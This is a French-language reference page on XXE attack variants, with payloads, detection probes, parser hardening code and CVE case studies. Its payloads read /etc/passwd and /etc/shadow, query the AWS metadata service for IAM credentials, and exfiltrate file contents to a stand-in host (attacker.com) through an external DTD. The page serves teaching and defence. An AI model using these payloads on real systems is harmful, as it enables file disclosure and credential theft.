XXE — Vue d'ensemble des variantes d'attaque

Qu'est-ce que le XXE et pourquoi existe-t-il cinq classes de variantes ?#

L'injection d'entité externe XML (XXE) n'est pas une technique d'attaque unique mais une classe de vulnérabilités découlant d'une cause racine commune : des parseurs XML qui résolvent des ressources externes — fichiers, URL, services internes — lors du traitement d'un XML contrôlé par l'attaquant. La spécification W3C XML inclut plusieurs fonctionnalités permettant cela : les entités externes DOCTYPE, les entités paramètres pour la composition DTD complexe, et XInclude pour l'assemblage de documents. Chacun de ces mécanismes peut être exploité indépendamment, créant cinq variantes d'attaque distinctes avec des charges utiles différentes, des prérequis différents et des paramètres de parseur différents requis pour la prévention.

Comprendre les différences est crucial car les équipes de sécurité durcissent souvent contre une variante tout en laissant d'autres pleinement actives. La lacune la plus courante est de désactiver les entités basées sur DOCTYPE tout en laissant le traitement XInclude activé — CVE-2025-31200 (LibreOffice, CVSS 7.1) en est l'exemple réel canonique. Une deuxième lacune est de durcir les endpoints d'API XML directe tout en laissant les processeurs de fichiers téléversés (acceptant SVG, docx, xlsx) non inspectés.

Le XXE apparaît dans OWASP A05:2021 (Mauvaise configuration de sécurité) parce que chaque instance est un parseur livré ou déployé avec des paramètres par défaut non sécurisés et jamais durci. Ce n'est pas une vulnérabilité logique — le parseur fait exactement ce que la spécification permet. Le correctif est une configuration, pas des modifications du code applicatif.

Mécanisme#

Le fil conducteur de toutes les variantes : le parseur XML effectue une requête réseau ou système de fichiers initiée par du contenu contrôlé par l'attaquant. La prévention nécessite d'éliminer la capacité du parseur à effectuer ces requêtes, pas de filtrer le contenu des requêtes.

Matrice de comparaison des variantes#

Matrice de comportement des parseurs#

Différents parseurs XML ont des comportements par défaut et des API de configuration différents. Comprendre le comportement spécifique à chaque parseur est essentiel pour l'attaque (savoir quels parseurs sont vulnérables) comme pour la défense.

Divulgation de fichiers classique#

La variante la plus simple. L'attaquant contrôle un document XML complet avec DOCTYPE et injecte une entité externe générale pointant vers un fichier local :

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Le serveur reflète le contenu de l'entité dans la réponse HTTP. Nécessite une réflexion en bande — si l'application traite le XML en interne sans retourner les valeurs d'entités, cette variante échoue et l'OOB aveugle doit être utilisé.

Cibles à haute valeur au-delà de /etc/passwd : /proc/self/environ (variables d'environnement d'exécution), /proc/self/cmdline (commande de démarrage de l'application), fichiers de configuration de l'application (/app/.env, config.yml, database.yml), clés SSH privées (/root/.ssh/id_rsa).

Voir Divulgation de fichiers classique pour la bibliothèque complète de charges utiles.

SSRF via XXE#

Remplacer l'URI file:// par une URI http:// pour pivoter du XXE vers la falsification de requête côté serveur (SSRF) :

<!DOCTYPE foo [
  <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role">
]>
<root>&ssrf;</root>

Le parseur XML effectue une requête HTTP GET vers l'URL cible et substitue la réponse comme valeur d'entité. AWS IMDSv1 (sans jeton requis) est la cible canonique. IMDSv2 nécessite une requête PUT préalable avec un en-tête X-aws-ec2-metadata-token-ttl-seconds — les entités générales XXE ne peuvent pas envoyer d'en-têtes personnalisés, donc IMDSv2 offre une atténuation partielle.

CVE-2024-36522 (SAP BusinessObjects, CVSS 9.4) a utilisé le SSRF XXE pour traverser le réseau interne et atteindre des interfaces administratives non exposées en externe.

Voir SSRF via XXE pour les techniques de scan du réseau interne.

XXE OOB aveugle#

La variante la plus répandue dans les applications modernes. Le serveur analyse le XML et résout les entités, mais la valeur de l'entité n'est jamais retournée dans la réponse HTTP. L'exploitation nécessite une chaîne d'entités paramètres en deux étapes et une infrastructure de callback contrôlée par l'attaquant :

<!-- Étape 1 : charge utile livrée à la cible -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % sp SYSTEM "http://attacker.com/exfil.dtd">
  %sp;
  %param1;
]>
<root/>

<!-- exfil.dtd hébergé sur attacker.com -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://UNIQUE.oast.pro/?d=%file;'>">
%exfil;

Le serveur cible récupère exfil.dtd, lit /etc/passwd et effectue une requête HTTP vers le serveur Interactsh de l'attaquant en portant le contenu du fichier comme paramètre d'URL. La réponse HTTP de la cible ne contient aucun contenu d'entité.

CVE-2024-22024 (Ivanti Connect Secure, CVSS 8.3) — OOB aveugle dans le traitement des AuthnRequests SAML — a été exploité contre des concentrateurs VPN en production avant la disponibilité d'un correctif.

Voir OOB aveugle pour l'exfiltration DNS, l'exfiltration FTP (contournement WAF Java/Xerces) et les alternatives basées sur les erreurs lorsque la sortie est bloquée.

Injection XInclude#

L'injection XInclude contourne complètement les défenses basées sur DOCTYPE. Au lieu de la syntaxe d'entité DTD, elle utilise des éléments W3C XInclude dans le corps XML — aucune déclaration DOCTYPE n'est nécessaire :

<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</root>

Cela s'applique quand un attaquant peut injecter du contenu XML dans une position de corps (contenu d'élément, paramètre de requête) mais ne peut pas contrôler le DOCTYPE. Cela s'applique aussi quand l'application bloque explicitement DOCTYPE tout en traitant XInclude — une lacune de défense courante.

En Java JAXP, disallow-doctype-decl=true ne désactive pas XInclude. setXIncludeAware(false) est un paramètre distinct et indépendant qui doit être configuré explicitement. CVE-2025-31200 (LibreOffice ODT, CVSS 7.1) est la preuve publiée la plus claire de cette lacune.

Voir Injection XInclude pour la technique d'énumération xi:fallback et les détails de configuration par parseur.

Téléchargement DTD XXE#

Les endpoints d'upload de fichiers acceptant des formats XML (SVG, docx, xlsx, ODT, WSDL) sont une surface XXE souvent ignorée. Ces formats sont des archives ZIP (docx/xlsx/ODT) ou des fichiers XML simples (SVG/WSDL) contenant des déclarations DOCTYPE :

<!-- SVG malveillant — soumis comme upload d'avatar/image -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/shadow"> ]>
<svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg">
  <text font-size="16">&xxe;</text>
</svg>

Quand le serveur traite le fichier téléversé (génération de miniature, conversion de document, extraction de métadonnées, analyse antivirus via Apache Tika), l'entité DOCTYPE incorporée est résolue.

CVE-2025-66516 (Apache Tika, CVSS 10.0) — les pipelines d'ingestion de documents utilisant Tika pour l'extraction de contenu ont déclenché XXE via des formulaires XFA intégrés dans des PDF et des documents XML.

Voir Téléchargement DTD pour les techniques de manipulation docx/xlsx et les charges utiles spécifiques à Tika.

Signal de détection canonique#

Une seule sonde avec un jeton Interactsh peut détecter toutes les variantes XXE simultanément lorsqu'elle est soumise aux endpoints d'API XML et aux endpoints d'upload de fichiers :

Charge utile canonique pour API XML :

<?xml version="1.0"?>
<!DOCTYPE x [
  <!ENTITY % sp SYSTEM "http://VOTRE-JETON.oast.pro/xxe-api-probe">
  %sp;
]>
<root/>

SVG canonique pour upload de fichier :

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY % sp SYSTEM "http://VOTRE-JETON.oast.pro/xxe-upload-probe">
  %sp;
]>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1"/>

Sonde XInclude (après qu'une sonde DOCTYPE retourne 400) :

<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="http://VOTRE-JETON.oast.pro/xinclude-probe"/>
</root>

Surveiller Interactsh pour les callbacks DNS et HTTP. Un callback DNS uniquement est POTENTIEL (confiance 0,30) ; un callback HTTP est CONFIRMÉ (0,75+) ; un callback HTTP avec contenu de fichier dans les paramètres URL est CONFIRMÉ ÉLEVÉ (0,98).

Résumé de prévention#

La prévention nécessite de durcir chaque parseur indépendamment. Le principe universel : désactiver la résolution d'entités externes et le traitement XInclude avant d'accepter du XML contrôlé par l'attaquant.

// Java JAXP — couvre XXE classique + SSRF + OOB aveugle + upload DTD
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);  // Drapeau SÉPARÉ — prévient l'injection XInclude
dbf.setExpandEntityReferences(false);

# Python — defusedxml pour ElementTree ; lxml nécessite une configuration explicite
from defusedxml import ElementTree as ET
tree = ET.fromstring(xml_input)  # sûr par défaut
 
# lxml — doit être configuré explicitement
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False)
tree = etree.fromstring(xml_bytes, parser=parser)
# Ne jamais appeler tree.xinclude() sur du contenu non fiable

// .NET — XmlResolver = null prévient toute récupération externe
var settings = new XmlReaderSettings {
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null
};
using var reader = XmlReader.Create(stream, settings);

<?php
// PHP 8.0+ — chargeur null bloque toute résolution d'entité externe
libxml_set_external_entity_loader(null);
$doc = new DOMDocument();
$doc->loadXML($xml);

Exemples réels#

CVE-2025-66516 — Apache Tika (CVSS 10.0, 2025)

L'extraction de contenu de documents Apache Tika, utilisée dans les plateformes de recherche d'entreprise, les pipelines RAG d'IA et les systèmes de gestion documentaire, a déclenché XXE via XML intégré dans des formulaires XFA de fichiers PDF et via XInclude dans certains types de documents. Les uploads de documents non authentifiés sont courants dans ces systèmes. Le score CVSS 10.0 reflète la large surface de déploiement — Tika est une dépendance transitive dans des milliers d'applications Java.

CVE-2024-22024 — Ivanti Connect Secure (CVSS 8.3, 2024)

L'endpoint SAML d'Ivanti traitait les AuthnRequests XML avec capacité XXE OOB aveugle. Le serveur effectuait des requêtes HTTP sortantes lors de la résolution d'entités paramètres dans des assertions SAML créées par l'attaquant. Combiné avec CVE-2023-46805 (contournement d'authentification), les attaquants ont réalisé un XXE OOB aveugle non authentifié contre des concentrateurs VPN en production dans le monde entier. Ce CVE est apparu dans le KEV de la CISA et a été exploité dans la nature avant le correctif.

CVE-2025-31200 — LibreOffice XInclude (CVSS 7.1, 2025)

L'exemple canonique de lacune de défense. LibreOffice avait bloqué le XXE basé sur DOCTYPE dans le traitement ODT. Le chemin de traitement XInclude était resté activé. Des fichiers ODT malveillants avec des éléments xi:include divulguaient des fichiers lors de l'ouverture ou du traitement par des services de conversion automatisés. Corrigé dans LibreOffice 25.2.3.

Ressources#

• Parcours d'apprentissage XXE PortSwigger
• Aide-mémoire de prévention XXE OWASP
• Entrée NVD CVE-2025-66516
• Entrée NVD CVE-2024-22024
• Entrée NVD CVE-2025-31200
• Serveur OAST Interactsh